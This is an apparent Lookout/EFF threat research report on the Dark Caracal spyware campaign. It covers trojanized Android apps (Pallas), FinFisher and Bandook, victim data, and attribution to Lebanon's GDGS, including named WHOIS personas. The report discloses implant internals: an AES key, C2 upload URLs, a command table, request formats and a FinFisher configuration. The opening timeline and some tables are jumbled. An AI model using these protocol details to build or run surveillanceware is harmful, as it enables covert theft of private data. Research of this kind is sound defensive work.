on a global scale. +Analysis shows Dark Caracal successfully compromised the +Aug. 2016 +EFF releases +Operation Manul + report +Oct. 2016 +op13@mail[.]com registered +arablivenews[.]com. Threat +devices of military personnel, enterprises, medical professionals, +Connect report 3 suggests +activists, journalists, lawyers, and educational institutions. +defense contractors. +Types of exfiltrated data include documents, call records, audio +recordings, secure messaging client content, contact information, +text messages, photos, and account data. +domain may be related to +APT 28 +Dark Caracal targets also include governments, militaries, +utilities, financial institutions, manufacturing companies, and +twiterservices[.]org WHOIS +https://www.threatconnect.com/blog/how-to-investigate-incidents-in-threatconnect/ +Dec. 2016 +secureandroid[.]info watering +Dec. 2016 +Second mobile surveillance +hole goes live. +campaign, wp7, launched +SECURITY RESEARCH REPORT +Dark Caracal follows the typical attack chain for cyber-espionage. +They rely primarily on social media, phishing, and in some cases +physical access to compromise target systems, devices, and accounts. +Dark Caracal uses tools across mobile and desktop platforms. +Dark Caracal uses mobile as a primary attack platform. +Dark Caracal purchases or borrows mobile and desktop tools from +Dark Caracal Activity Timeline (cont.) +Mar. 2017 +campaign, wp8, launched +Apr. 2017 +Lookout discovered Dark Caracal +s custom-developed mobile +surveillanceware (that we call Pallas) in May 2017. Pallas is found in +Jun. 2017 +Dark Caracal has also used FinFisher, a tool created by a +lawful +intercept + company that is regularly abused by other nation-state actors. +Dark Caracal makes extensive use of Windows malware called +Fifth and sixth mobile surveillance +campaigns, wp10 and wp10s, launched +trojanized Android apps. +Fourth mobile surveillance +campaign, wp9, launched +actors on the dark web. +Third mobile surveillance +Jul. 2017 +wp8 campaign ceases collecting data +Jul. 2017 +adobeair[.]net taken down for +several dayss +Bandook RAT. Dark Caracal also uses a previously unknown, multiplatform tool that Lookout and EFF have named CrossRAT, which is +able to target Windows, OSX, and Linux. +Dark Caracal uses a constantly evolving, global infrastructure. +Jul. 2017 +adobeair[.]net resumes operations +Aug. 2017 +wp9, wp10, and wp10s campaigns +cease collecting data +Lookout and EFF researchers have identified parts of Dark +Caracal +s infrastructure, providing us with unique insight into +its global operations. +Aug. 2017 +adobeair[.]net WHOIS details +changed to Nancy Razzouk, +The infrastructure operators prefer to use Windows and XAMPP +op13@mail[.]com, Lebanon +software on their C2 servers rather than a traditional LAMP stack, which +provides a unique fingerprint when searching for related infrastructure. +oldb campaign ceases collecting data +Sep. 2017 +wp7 campaign ceases collecting data +Sep. 2017 +adobeair[.]net changes hosting +Lookout and EFF have identified infrastructure shared by +Operation Manul and Dark Caracal as well as other actors. +Aug. 2017 +Attributing Dark Caracal was difficult as the actor employs +multiple types of malware, and our analysis suggests the +and is secured against data leaks +infrastructure is also being used by other groups. +Lookout and EFF are releasing more than 90 indicators of +compromise (IOC): +11 Android malware IOCs +26 desktop malware IOCs +60 domains, IP Addresses, and WHOIS information +Dec. 2017 +Secureanroid[.]info +s domain +name expires +Jan. 2018 +Dark Caracal made public +SECURITY RESEARCH REPORT +Background +Lebanon +s General Directorate of General +Security (GDGS) +Devices for testing and operating the campaign were traced back to a building +belonging to the Lebanese General Directorate of General Security (GDGS), one of +Lebanon +s intelligence agencies. Based on the available evidence, it is likely that the +GDGS is associated with or directly supporting the actors behind Dark Caracal. +Previous Cyberespionage +EFF first identified elements of this infrastructure in its August 20164 report on Operation +Manul. The report details a series of attacks targeting journalists and political activists +critical of Kazakhstan +s authoritarian government, along with their family members, +lawyers, and associates. EFF +s research noted references to Android components found +on the infrastructure; however, no samples had been discovered at the time of the +report +s release. Lookout has since acquired Android samples used by Dark Caracal that +belong to what Lookout researchers have named the Pallas malware family. +Citizen Lab previously flagged the General Directorate of General Security in a 2015 +report as one of two Lebanese government organizations using the FinFisher spyware5. +The report cites evidence showing that the GDGS, along with other state actors around +the world, had active campaigns using FinFisher infrastructure and tools. However, the +report did not specify whether the spyware used was the mobile version of FinFisher. +Our investigation resulted in the discovery of at least one FinFisher implant for Android, +which corroborates Citizen Lab +s previous research. The sample +s hash is provided in +the appendix of this report. We also uncovered new desktop surveillance software +developed potentially by Dark Caracal themselves, a developer associated with the +GDGS, or a private contractor group. +The intent of bringing forth these findings is to reveal newly discovered evidence of a new +nation-state actor compromising the devices of military personnel, enterprises, medical +professionals, activists, journalists, lawyers, and educational institutions. Our review and +disclosure of this matter follows industry practices, including sharing our findings with +appropriate government authorities, industry partners and the public at large. +https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf +https://citizenlab.ca/2015/10/mapping-finfishers-continuing-proliferation/ +SECURITY RESEARCH REPORT +Locating Attacker Facilities +We correlated information from test devices and Wi-Fi networks to determine +the location of Dark Caracal +s facilities. +Test Devices +Dark Caracal used a series of test devices to confirm that its malware implants +and C2 infrastructure work correctly. Identifying these devices helped us to +determine Dark Caracal +s likely location inside the GDGS building. +Distinguishing between test and target devices can be tricky. After analyzing +data from the infrastructure, we noticed that a subset of the compromised +devices contained similar email, Viber, Primo, Telegram, and Whatsapp accounts. +These data points allowed us to focus on a select few devices that were unique +among the thousands we saw. Additionally, these devices contained a minimal +amount of (if any) real content in the exfiltrated text messages, contacts, and +application data, which led us to conclude they were likely test devices. +Figure 1: A picture of the GDGS building in +Beirut, Lebanon from where we have located +Dark Caracal operating +Wi-Fi Networks +Within the cluster of test devices we noticed what could be unique Wi-Fi networks. Knowing that Wi-Fi networks can be used for +location positioning, we used that data to geo-locate where these devices may have been by keying off network identifiers. We +specifically focused on the Wi-Fi network SSID Bld3F6. Using the Wi-Fi geolocation service Wigle.net we saw these test device +Wi-Fi networks mapped to Beirut. We also noticed Wi-Fi networks with SSID Bld3F6 mapped near the General Security building +in Beirut, Lebanon. +Figure 2: Google map of the GDGS Building in Beirut +Left: Data as observed from Wigle.net for SSID: Bld3F6 | Right: Data confirming location of SSID: Bld3F6 +SECURITY RESEARCH REPORT +Location Information from IP Addresses +Throughout the course of this investigation we observed logins into the administrative console of the C2 server come from three +IP addresses. The IP addresses are all from Ogero Telecom6, which is owned by the Government of Lebanon. We geo-located two +of the IP addresses just south of the GDGS +s building (probably a switching or central hub for Ogero). +Figure 3: The location of IP addresses that logged into the adobeair[.]net admin console between July and September 2017 +https://en.wikipedia.org/wiki/Telecommunications_in_Lebanon +SECURITY RESEARCH REPORT +Identities: Attacker Personas +The infrastructure used by Dark Caracal revealed several different associated personas. This resulted in the team linking four +different aliases, two domains, and two phone numbers to this infrastructure. At the center of these personas is the email +address op13@mail[.]com which has appeared at various stages in the historical WHOIS information of Dark Caracal domains +(see: Timeline). +Aliases associated with op13@mail[.]com include Nancy Razzouk, Hadi Mazeh, and Rami Jabbour. All of the physical addresses +listed in the WHOIS domain registrations associated with op13@mail[.]com tend to cluster around the SSID: Bld3F6 Wi-Fi +locations. This is near the General Security building in Beirut. +Nancy Razzouk and Hassan Ward +We identified Nancy Razzouk listed alongside the op13@mail[.]com email address in domain WHOIS information. We also found +this name in signer content for the Windows malware7 that communicates with adobeair[.]net. +Figure 4: Signer content for Windows malware +The contact details for Nancy present in WHOIS information matched the public listing for a Beirut-based individual by that +name. When we looked at the phone number associated with Nancy in the WHOIS information, we discovered the same number +listed in exfiltrated content and being used by an individual with the name Hassan Ward. +SHA-256 HASH: d57701321f2f13585a02fc8ba6cbf1f2f094764bfa067eb73c0101060289b0ba +SECURITY RESEARCH REPORT +Hadi Mazeh +During July 2017, Dark Caracal +s internet service provider took the adobeair[.]net command and control server offline. Within +a matter of days, we observed it being re-registered to the email address op13@mail[.]com with the name Nancy Razzouk. This +allowed us to identify several other domains listed under the same WHOIS email address information, running similar server +components. The WHOIS name field, however, listed several entries with the name Hadi Mazeh. This suggests that either multiple +individuals are using the op13 email address or the owner has several aliases that he or she uses with it. +op13@mail.com +Hadi Mazeh +fbarticles.com +gmailservices.org +arabpublisherslb.com +facebookservices.org +twiterservices.org +Figure 5: Aliases associated with the op13 email address +Rami Jabbour +We determined the actor behind the op13 email address also registered the domain arablivenews[.]com and provided the name +Rami Jabbour. Address details listed in WHOIS information for this specific entry are Salameh Blg, Museum Str, and Mathaf, which +appears to be in close proximity to where we have seen test devices in Beirut. +SECURITY RESEARCH REPORT +Prolific Activity +Throughout this investigation, Lookout and EFF researchers have gained unique insight into the global operations of Dark +Caracal. This has primarily been possible due to command and control infrastructure operators allowing public access to data +stolen from compromised devices and systems. +Since we first gained visibility into attacker infrastructure in July 2017, we have seen millions of requests being made to it from +infected devices. This demonstrates that Dark Caracal is likely running upwards of six distinct campaigns in parallel, some of +which have been operational since January 2012. +Dark Caracal targets a broad range of victims. Thus far, we have identified members of the military, government officials, medical +practitioners, education professionals, academics, civilians from numerous other fields, and commercial enterprises as targets. +Exfiltrated Data +Account +Information +Wi-Fi +Details +Call +Records +Bookmarks & +Browsing History +WhatsApp, Telegram +and Skype databases +Contacts +Installed +Applications +Legal and Corporate +Documentation +Images +Audio +Recordings +File and Directory +Listings +Messages +***** +Figure 6: A summary of some of the types of content Dark Caracal exfiltrated from victims on both Android and Windows +Not only was Dark Caracal able to cast its net wide, it was also able to gain deep insight into each of the victim +s lives. It did this +through a series of multi-platform surveillance campaigns that began with desktop attacks and pivoted to the mobile device. +Stolen data was found to include personal messages and photos as well as corporate and legal documentation. In some cases, +screenshots from its Windows malware painted a picture of how a particular individual spent his evenings at home. +SECURITY RESEARCH REPORT +We found the largest collection of data from a single command and control server that operated under the domain adobeair[.] +net. Over a short period of observation, devices from at least six distinct Android campaigns communicated with this domain +resulting in 48GB of information being exfiltrated from compromised devices. Windows campaigns contributed a further 33GB of +stolen data. The remainder of the data contained desktop malware samples, spreadsheet reports on victims, and other files. +Figure 7: Split of exfiltrated data found +Split of ex +ltrated content on adobeair.net +81 GB +on just the command and control server +adobeair[.]net. From 81GB of stolen +data, the majority was found to be from +campaigns run against mobile devices +59.3% +Android +Campaigns +81 GB +40.7% +Windows +Campaigns +Victims were found to speak a variety of languages and were also from a wide range of countries. We discovered messages +and photos in Arabic, English, Hindi, Turkish, Thai, Portuguese, and Spanish in the examined data. According to our analysis, +infrastructure contained exfiltrated data from individuals residing in: +China +France +Germany +India +Italy +Jordan +Lebanon +Nepal +Netherlands +Pakistan +Philippines +Qatar +Russia +Saudi Arabia +South Korea +Switzerland +Syria +Thailand +United States +Venezuela +Vietnam +SECURITY RESEARCH REPORT +Figure 8: Observed locations of compromised devices +Based on both the mobile and desktop campaigns we observed, we believe the attacker first exfiltrated information in January +2012. At the time of writing this report, it looks as though Dark Caracal is still uploading data from its spy campaigns, according +to the servers we are tracking.8 +Figure 9: Amount of exfiltrated content (as represented by +count + in the graph above) being uploaded for certain campaigns on adobeair[.]net over time for 2017 +Despite the internet service provider taking the command and control server down in July 2017, the infrastructure reappeared online again after a few days. The dip +in data exfiltration due to the takedown can be observed in Figure 9 at the beginning of August. The average number of files uploaded to the server increases steadily +with time. +SECURITY RESEARCH REPORT +Android Malware Content +The Android malware family mainly trojanizes messaging and security applications and, once it compromises a device, it is +capable of collecting a range of sensitive user information. This includes recorded audio, call logs, conversations from popular +chat applications, location information, browsing history, device specific metadata, contacts, and much more. +Each Android malware sample contains a hard coded identifier that we believe represents the campaign to which it belongs. +When a Dark Caracal operator instructs an infected device to upload sensitive data, it is stored on the attacker infrastructure +under this campaign. While investigating this adversary, we observed content distributed across six different campaigns. In +this report, we refer to these campaigns by the name of the directory to which infected devices uploaded victim data. These +campaigns are listed below, along with the number of victim devices we believe Dark Caracal compromised while we were +observing its operations: +/oldb - 28 perceived test devices, 454 potential victim devices +/wp9 - 11 potential victim devices +/wp7 - 4 perceived test devices, 117 potential victim devices +/wp10 - 1 potential test device, 2 potential victim devices +/wp8 - 1 perceived test device, 4 potential victim devices +/wp10s - 13 potential test devices, 21 potential victim devices +We did not attempt to identify targets and consider that beyond the scope of this report. +An overview of exfiltrated data from the Android campaigns can be seen in the figure below. +264,535 +Files +486,766 +SMS Texts +17.6% +32.4% +Directories +0.0% +206,461 +Unique Wi-Fi SSIDs +13.8% +***** +1547 +Authentication Accounts +0.1% +92,35 +Browsing History URLs +252,982 +6.2% +Contacts +45,264 +Android Application +Details +3.0% +16.9% +150,266 +Call Records +10.0% +Figure 10: Distribution of data from the Android campaigns +SECURITY RESEARCH REPORT +Exfiltrated data can be divided into the following categories of information: +SMS messages - SMS messages made up some of the more meaningful exfiltrated data. Messages included personal texts, +two-factor authentication and one-time password pins, receipts and airline reservations, and company communications. +Some pin codes were within their validity window at the time of writing this report. +Figure 11: Exfiltrated SMS texts detailing OTPs, receipts, and Facebook notifications +SECURITY RESEARCH REPORT +Contact Lists - This data included numbers, names, addresses, bank passcodes, PIN numbers, how many times each contact +was dialed, and the last time the contact was called. +Figure 12: Contacts exfiltrated from 3 victims + Android devices can be seen to contain corporate numbers, personal numbers, and Visa credit card numbers +Call logs - This data included a full record of incoming, outgoing, and missed calls along with the date and duration +of the conversation. +Installed Applications - This data included app names and version numbers. +Bookmarks and Browsing History - This data included bookmarks and browsing history from web pages. This data was +seen in only one Android campaign called oldb, but it clearly identified victims that were active in political discourse. +Connected Wi-Fi Details - This data included observed Wi-Fi access point names, BSSIDs, and signal point strength. +Authentication Accounts - This data included the login credentials and which applications are using it. +File and Directory Listings - This data included a list of personal files, downloaded files, and temporary files, including +those used by other applications. +Audio Recordings and Audio Messages - This data included audio recordings of conversations, some of which identified +individuals by name. +Photos - This data included all personal and downloaded photographs, including profile pictures. +SECURITY RESEARCH REPORT +Windows Malware Content +Dark Caracal +s use of Windows malware includes a wider range of command and control infrastructure beyond adobeair[.]net. +Its methods and data collection, however, are similar to the Android malware. +Exfiltrated data from the Windows malware included the following general categories: +Desktop Screenshots - This data included full screenshots taken at regular intervals and uploaded to adobeair[.]net. +By observing these images, it is disturbingly simple to watch a victim go about his daily life and follow that individual +every step of the way. +Figure 13: A screenshot exfiltrated from victim +s Windows device on adobeair[.]net +Skype Logs Databases - The data included the entire Skype AppData folder for certain victims, including messaging +databases. +Photos - This data included complete contents of the +Pictures + folder from compromised Windows machines. It is common +to see smartphone photos backed up to this location, which most often contains personal photographs of family and friends +taken by the individual being targeted. +SECURITY RESEARCH REPORT +iPhone Backups - This data included an entire unencrypted backup of a victim +s iPhone. +File Listings - This data included all default Windows folders and file listings. +Corporate and Legal Documentation - This data included a large collection of company-specific documents. Specifically, +we discovered these on another live command and control server, planethdx[.]com. +Figure 14: An example of corporate documentation, which details the addresses and telephone numbers of customers for a shipping company +SECURITY RESEARCH REPORT +Patterns of Attacks +Dark Caracal follows the typical attack chain for client-side cyber-espionage. Mobile tools include a custom written Android +surveillanceware implant Lookout named Pallas9 and a previously unknown FinFisher sample. The group +s desktop tools include +the Bandook malware family and a newly discovered desktop surveillanceware tool that we have named CrossRAT, which is able +to infect Windows, Linux, and OS X operating systems. +The Initial Compromise +Physical access +Phishing messages +WhatsApp +Phishing messages +Facebook group +Watering hole server: +secureandroid[.]info +Phishing server: +Set up for credential harvesting +Fake Google domain +Fake Facebook domain +Fake Twitter domain +Trojanized Android Apps +ltrated +Data +Figure 15: The Android malware infrastructure +is designed to attract victims into the campaign +C2 server +adobeair[.]net +through two different mechanisms: phishing +campaigns that separately lead to a watering hole +server (secureandroid[.]info) and a server designed +to accept credentials via a spoofed login +Dark Caracal relies primarily on social engineering via posts on a Facebook group and WhatsApp messages in order to +compromise target systems, devices, and accounts. At a high-level, the attackers have designed three different kinds of phishing +messages, the goal of which is to eventually drive victims to a watering hole controlled by Dark Caracal. +Pallas + Cat is another name for +Manul, + a reference to EFF +s Op Manul campaign on this actor +SECURITY RESEARCH REPORT +The group distributes trojanized Android +applications with the Pallas malware through its +watering hole, secureandroid[.]info. Many of these +downloads include fake messaging and privacyoriented apps. +Figure 16: secureandroid[.]info +s app download page +There is also some indication that Dark Caracal +has used physical access in the past to install the +Android malware. +Figure 17: A text message found +from a possible victim +s device +SECURITY RESEARCH REPORT +Social Engineering and Spear-Phishing +Dark Caracal uses phishing messages through popular applications, such as WhatsApp, in order to direct people to the +watering hole. +Figure 18: +Left: Extracted from WhatsApp +messages database +Right: Facebook group links to +watering hole +Dark Caracal infrastructure hosts phishing sites, which look like login portals for well known services, such as Facebook, Twitter, +and Google. We found links to these pages in numerous Facebook groups that included +Nanys + in their titles. These groups are +listed in the appendix. +Figure 19: Dark Caracal +credential phishing portals +SECURITY RESEARCH REPORT +Google has indexed several of these phishing campaigns from the tweetsfb[.]com server. We were able to link a number of +phishing domains dating to the mid-to-late 2016 time period from this data. We believe the attackers used these phishing servers +to capture login credentials, hijack accounts, and to push out more spoofed messages to widen their pool of victims. +Figure 20: Google indexing of tweetsfb[.]com campaigns +Phishing links posted in Dark Caracal linked Facebook groups include politically themed news stories, links to fake versions of +popular services, such as Gmail, and links to trojanized versions of WhatsApp. +Figure 21: Dark Caracal phishing links posted on Facebook +SECURITY RESEARCH REPORT +Four Facebook profiles similar in theme +liked + the phishing groups. Dark Caracal likely used these fake profiles to initiate +communication with victims and build a rapport before directing them either to content on the +Nanys + Facebook groups +or to the secureandroid[.]info domain directly. +Figure 22: Dark Caracal fake Facebook profiles +Surveillanceware + Mobile Capabilities +Pallas + Dark Caracal +s Custom Android Samples +Using our global sensor network, Lookout researchers identified 11 unique Android surveillanceware apps tied to the Operation +Manul campaign10. The trojanized apps still retain the legitimate functionality of the apps they spoof and behave as intended. +The apps are found predominantly in trojanized versions of well-known secure messaging apps including: +Signal (org.thoughtcrime.securesms) +Threema (ch.threema.app) +Primo (com.primo.mobile.android.app) +WhatsApp (com.gbwhatsapp) +Plus Messenger (org.telegram.plus) +We also identified Pallas in trojanized versions of two apps aimed at users seeking to protect themselves and their data online: +Psiphon VPN (com.psiphon3) +Orbot: TOR Proxy (org.torproject.android) +http://www.cmcm.com/blog/en/security/2017-08-16/1101.html +SECURITY RESEARCH REPORT +Finally, with help from Google +s Android Security team, we discovered Pallas lurking in several apps purporting to be Adobe Flash +Player and Google Play Push for Android: +Flash Player (com.flashplayer.player) +Google Play Push (com.flashplayer.player) +Primo +Orbot +TOR Proxy +Signal +Psiphon +Threema +WhatsApp +Plus +Messenger +Figure 23: Dark Caracal trojanized Android apps +Neither the desktop nor the mobile malware tooling use zero day vulnerabilities. Pallas samples primarily rely on the permissions +granted at installation in order to access sensitive user data. However, there is functionality that allows an attacker to instruct an +infected device to download and install additional applications or updates. Theoretically this means it +s possible for the operators +behind Pallas to push specific exploit modules to compromised devices in order to gain complete access. +We found no attacker infrastructure containing rooting packages. This highlights that, in many cases, advanced exploitation +capabilities like those shown by surveillance tools such as Pegasus for iOS and Chrysaor for Android (that targeted both Android11 +and iOS12 devices), are not essential, but helpful when targeting certain platforms. +https://blog.lookout.com/pegasus-android +https://blog.lookout.com/trident-pegasus +SECURITY RESEARCH REPORT +The Pallas first stage is capable of performing the following surveillance functionality on a compromised device: +Take photos with front or back camera +Retrieve device metadata +Exfiltrate all text messages including those +Retrieve text messages +Retrieve information about all accounts +Send an SMS to an attacker-specified number +Retrieve call logs +Retrieve messages and any corresponding +received in the future +Retrieve latitude / longitude from GPS +Silently activate the device microphone to +capture audio +Retrieve contacts +Scan nearby Wi-Fi access points and exfiltrate +information about them, including their BSSID, SSID, +authentication, key management, encryption schemes, +signal strength, and frequency +Retrieve chat content from secure messaging +applications (this only applies when a victim is using +a secure messaging app that has been trojanized +with Pallas) +decryption keys from messaging apps +Retrieve a list of installed packages +Download and install additional apps +Upload attacker specified files +Delete attacker specified files and directories +Harvest credentials via phishing pop-ups +C2 Communications with Malware Implants +All samples belonging to the Pallas malware family have the same capabilities and functionality described in the previous +section. However, obfuscation did differ between them. For reference, code snippets shown in the following section +have been taken from a trojanized version of WhatsApp with a package name of com.gbwhatsapp and a SHA1 hash of +ed4754effda466b8babf87bcba2717760f112455. +Like most other surveillanceware, communication with the C2 includes three main phases: +1. Regular beaconing to the remote HTTP server. +2. Handling any outstanding attacker specified commands. +3. Exfiltration / uploading of victim data to C2 servers. +Pallas samples have a number of different entry points via broadcast receivers, specifically the C2 communications reside +in the com.receive.MySe. +SECURITY RESEARCH REPORT +Figure 24: Actions that trigger the Pallas malware samples to do work +In all Pallas samples Lookout analyzed, domain information and URL paths are hardcoded as encrypted values. The actor uses +AES encryption and chose to use the secret key of Bar12345Bar12345 and initialization vector of RandomInitVector, which +appears in a post describing how to use AES encryption in Java13. +Examples of AES encrypted, base64 encoded domains and URL paths present in some Pallas samples include: +krgbAdOUCGKEnuCRp5s+eE2eMWUktZQR64RBdkNoH/O0NFo9ByRTFhjqa2UX2Y9k +krgbAdOUCGKEnuCRp5s+eA/hX2erfMp+49exa+8zoZgMlBICjGuOSqrvGRCjgrZ4 +These two examples decrypt to: +https://adobeair[.]net/wp9/add.php +https://adobeair[.]net/wp9/upload.php +The general format of Pallas requests can be written as https://adobeair[.]net//. +The add.php script is used for several operations, including compromised device check-ins as well as C2 instruction execution. +We also determined that it is able to retrieve location information (GPS data) and general metadata about a victim +s device. The +following table provides additional details around the structure of these requests. In all cases, the Content-Type header is set to +application/x-www-form-urlencoded. The listed ac parameter identifies the type of request made to the C2. +https://stackoverflow.com/questions/15554296/simple-java-aes-encrypt-decrypt-example +SECURITY RESEARCH REPORT +Purpose +Of The Request +HTTP Parameters(Key=Value) +Required +Check-In with C2 +ac=chkcm1 +uid= +pr= +The victim +s GPS location is communicated to +the C2 every 120 minutes. +GPS location +ac=chkcm1 +uid= +alt= +long= +Request responsible for gathering general +device metadata and uploading to C2. This +request is triggered via several entry points +including, but not limited to, the creation of the +app on the device. +General Device Information +ac=iu +uid= +imei= +nb= +os= +man= +op= +wifi= +cam= + +ver= +pr= +idt= +ecr= +Description +Retrieve data from a compromised device, +including text messages, calls, contact +information, Wi-Fi details, and accounts. +Parameter pr is + if sufficient permissions +exist, + otherwise, and +111111111111 +, if the +build version of the device is lower than 23. +Responses from C2 infrastructure to devices infected with Pallas consist of chunks of data separated by a +. The following +table shows the commands that are currently supported. Some of these require the victim +s device to report back to the C2 +and/or upload files to it via HTTP POST requests. The responses to the attacker commands detailed below are handled via the +add.php page. +SECURITY RESEARCH REPORT +Description +Command +HTTP Parameters(Key=Value) +Required +Retrieve all the data from a compromised device, including text message, call +information, contact details, Wi-Fi data, and account information to name a few. +GALL1 +Toggle the call record functionality to on or off. +REC2 +Upload file and directory access logs of the trojanized application to the C2 +via a single file. +GFILE1 +Take a picture using the front or rear camera and upload to the C2 server. +CAMG1 +Download an update from attacker infrastructure, attempt to execute it, +and notify the C2. +UPD1 +ac=REPX +uid= +RP=Update Procedure Executed +Delete an attacker-specified file from the device and notify the C2. +DELF1 +ac=REPX +uid= +RP=File Deleted : +Retrieve an attacker-specified file from a compromised device, +uploading it to the C2. +UPF1 +Download an attacker-specified file to the target device and notify the C2. +DWN1 +ac=REPX +uid= +RP=File Uploaded To Target : +Record an MPEG4 audio file (.mp4) for an attacker-specified duration. +Audio is captured with the device +s microphone, and once complete is +uploaded to the C2 server. +REC1 +ac=REPX +uid= +RP=Microphone Already in use by another app +Performs the same functionality as detailed above for the REC1 command with +the exception that the file is stored locally on external storage under the path +.Temp/srec +SMS1 +ac=REPX +uid= +RP=Microphone Already in use by another app +Send a text message to an attacker-specified number. +SMS1 +ac=REPX +uid= +RP=SMS sent to +Displays an alert with a phishing theme on a compromised device with the +intention of stealing the victim +s credentials. Any entered credentials are sent +to attacker servers. +PWS1 +ac=PPWS +uid= +PS= +Checks the Android build on the device as well as the permissions of the app. +PRM1 +If the installed Pallas sample is a trojanized version of Telegram, WhatsApp, +Threema, or Primo, then retrieve their databases and, if present, associated keys. +Create a zip file of the shared_pref for the installed Pallas app and upload it to +C2 infrastructure. +SHPR +Manipulate Bitmap images, convert to JPG, and upload to C2. +SILF +Same operation as SILF but on a directory of images. +SIFO +ac=GTMBF +TFX= +Split an attacker-specified file into chunks, saving them to +external storage under the path .Temp/spd/. +SPLT1 +ac=REPX +uid= +RP= Splitted +Create a zipfile of the contents of an attacker-specified directory and upload it +to a C2 server. +ZDIR1 +ac=GTMBF +TFX= +SECURITY RESEARCH REPORT +Pallas handles the exfiltrated data server-side via the upload.php script. This accepts HTTP POST requests that have the following +headers and structure, where op_id specifies the type of file being uploaded. +POST +Request properties +Connection : Keep-Alive +ENCTYPE : multipart/form-data +Content-Type : multipart/form-data;boundary=***** +Uploaded_file : +upload.php?test=&op=&rn=<>&extra=<>&extra2=<>[&FLS= +<>&RLD=<>] +--*****\r\n +Content-Disposition: form-data; name=\ +uploaded_file\ +;filename=\\\r\n +\r\n +\r\n +--*****--\r\n +When Pallas receives the GALL1 instruction, it uploads exfiltrated data as a zip archive or saves it as a .db file. For most .db files, +each line is base64 encoded and prepended with the string +. When decoded, each line translates to a piece of exfiltrated +data. Each piece of information is associated with a content keyword or data type. This can be represented as follows: +[...] +SECURITY RESEARCH REPORT +Analysis of all known Pallas samples seen to date has resulted in the identification of the following 10 data types: +Data +Data Type +Fields +Description +A0X01 +date +address +body +type +All SMS fields are set according to +the Android SMS content provider +documentation14 in which the address +is the address of the other party and +the type may be any of the following +values: + : ALL +: SENT +: INBOX +DRAFT +:OUTBOX +:FAILED +: QUEUED +Contacts +A0X02 +Display_name +Data1 +Times_contacted +Last_time_contacted +All contacts fields are set according +to the Android ContactsContract +documentation15. +Calls +A0X03 +Number +Type +Date +Duration +All contacts fields are set according to +the Android documentation for phone +calls16 in which type is a string with +any of the following values: +INCOMING +MISSED +OUTGOING +null +Date is in the standard Java SQL DATE +format 17. +Installed package +A0X04 +Application_label +Package_name +Version_name +Version_code +Specifies the list of installed packages +on a victim +s device. +Browsing History +A0X05 +Page_title +Page_URL +Specifies the web pages a victim +has visited. +https://developer.android.com/guide/topics/providers/content-provider-basics.html +https://developer.android.com/reference/android/provider/ContactsContract.CommonDataKinds.Phone.html +https://developer.android.com/reference/android/provider/CallLog.Calls.html +https://docs.oracle.com/javase/7/docs/api/java/sql/Date.html +SECURITY RESEARCH REPORT +(continued from page 28) +Data +Data Type +Fields +Description +Bookmarks +A0X06 +Bookmark_Title +Bookmark_URL +Specifies the web pages a victim has +bookmarked. +WiFi +A0X07 +SSID +Capabilities +Level +Frequency +BSSID +All the fields are defined in Android +scan result documentation18. +Accounts +A0X08 +Name +Type +Name is the account name of a victim +and type is the authenticator name of +that account. +Access Logs +MIAMO +App_name +App_path +String1 +Specifies a + file that contains +File and Directory access logs of +a trojanized app. The +MIAMO +information line is always the first line +in such files. App_path is always a +path that a Pallas sample has access +to, for example, the SDCard or the +application +s data folder. +String1 is either set to + or an +absolute path. +Access Logs +Directory_path +Directory_name +Directories that the app has accessed. +Only exists in a file with +MIAMO +the first line. +Access Logs +File_path +File_name +File_length +LasModifiedTime +Files that the app has accessed. +Only exists in a file with +MIAMO +as the first line. +https://developer.android.com/reference/android/net/wifi/ScanResult.html +SECURITY RESEARCH REPORT +Previous Use of FinFisher Spyware +In addition to the Pallas samples, we discovered a previously unreported FinFisher sample19 on the tweetsfb[.]com server. +It is unclear whether this sample was a demo provided to this actor or if the actor came across it via other means. +The date of package and compilation for this sample is 2014-03-27 17:26:14 UTC. +Below is the extracted configuration and relevant details of this sample. +Title: Android Update +Package Name: com.esn.wal +SHA1: 835befd9376f90a12892876b482c1dcc39643a09 +MD5: d965c3736e530bfdbfde2cc6a264f2aa +RequestID : 0 +C2 Phone Added : +7820435193 +MobileTargetUID : 0 +VoicePhone Added : +7820944266 +Version : 0 +VoicePhone Added : +78235424312 +MobileTargetID : nana +Logging : 0 +HeartBeatInterval : 120 +C2 : 180.235.133.57 +TrojanID : nana +Ports: 21, 53, 443, 4111 +TrojanUID : 03FDAF68 +Included exploits - Exynos Abuse +UserID : 1000 +Installed Modules +MaxInfections : 30 +RemovalAtDate : 0 +Call recording +Phone log collection +Device tracking +RemovalIfNoProxy : 0 +https://en.wikipedia.org/wiki/FinFisher +SECURITY RESEARCH REPORT +Surveillanceware - Desktop Components +The desktop malware component exists in a range of file types, including executables, zip archives, PDFs, and Microsoft +composite document file format. No zero days or publicly known exploits were located in these files and, based on several of +the documents, the primary attack vector is believed to be social engineering via spear-phishing. Analysis into Dark Caracal +desktop tooling did result in the discovery of a new cross-platform Java RAT known as CrossRAT and confirmed that this actor +is using new variants of the Bandook family. +Bandook +The Bandook RAT was originally identified during EFF +s Operation Manul research, however, this investigation surfaced new +variants belonging to this family. Written in Delphi and targeting Windows operating systems, Bandook samples are packed at +multiple stages in order to both evade detection and slow down the process of reverse engineering by security analysts. At the +time of writing, 19 out of 63 antivirus engines on the malware repository VirusTotal flagged most Bandook samples as malicious. +First stage samples of the version of Bandook used by Dark Caracal include what appears to be a drawing program and a +trojanized version of the Psiphon circumvention software20. While the drawing application was not fully functional and did not +provide a user interface when launched, the modified version of Psiphon contained the complete legitimate functionality of the +original application. +The first stage malware is signed with a valid SSL certificate issued by Certum CA for Ale Couperus (alecouperus@mail[.]com). +We have identified several distinct samples signed with this certificate. This suggests that the actors behind these samples +control the private key for this certificate and have the ability to sign arbitrary packages. It is unclear at this time whether the +private key associated with this certificate has been stolen or if the attackers obtained it via legitimate sources. +Upon initial execution, the first stage of Bandook decrypts several strings that are stored in the data section and base64 +encoded. Below is the plaintext of some of these strings, which we can see as Windows API calls. +SHA256 hash: ed25b0c20b1c1b271a511a1266fe3967ab851aaa9f793bdf4f3d19de1dcf6532 +SECURITY RESEARCH REPORT +Figure 25: Decoded strings from the Bandook sample +The malware uses these API calls to decrypt Bandook +s second stage, an embedded resource. This resource is a randomly +named eight-character string of uppercase letters and numbers. During our research, we only observed the numbers two and +three being used and these were often positioned towards the end of the string. Following the decryption of the second stage, +the iexplore.exe binary is started and immediately replaced with the loaded resource. This is a technique known as +process +hollowing21 +The second stage Bandook samples are occasionally packed with the following modified UPX packer +UPX Modified >> *$igBy +Ahmed18 +. Not all second stages were packed indicating that the authors may be actively developing the malware. As expected, +the core 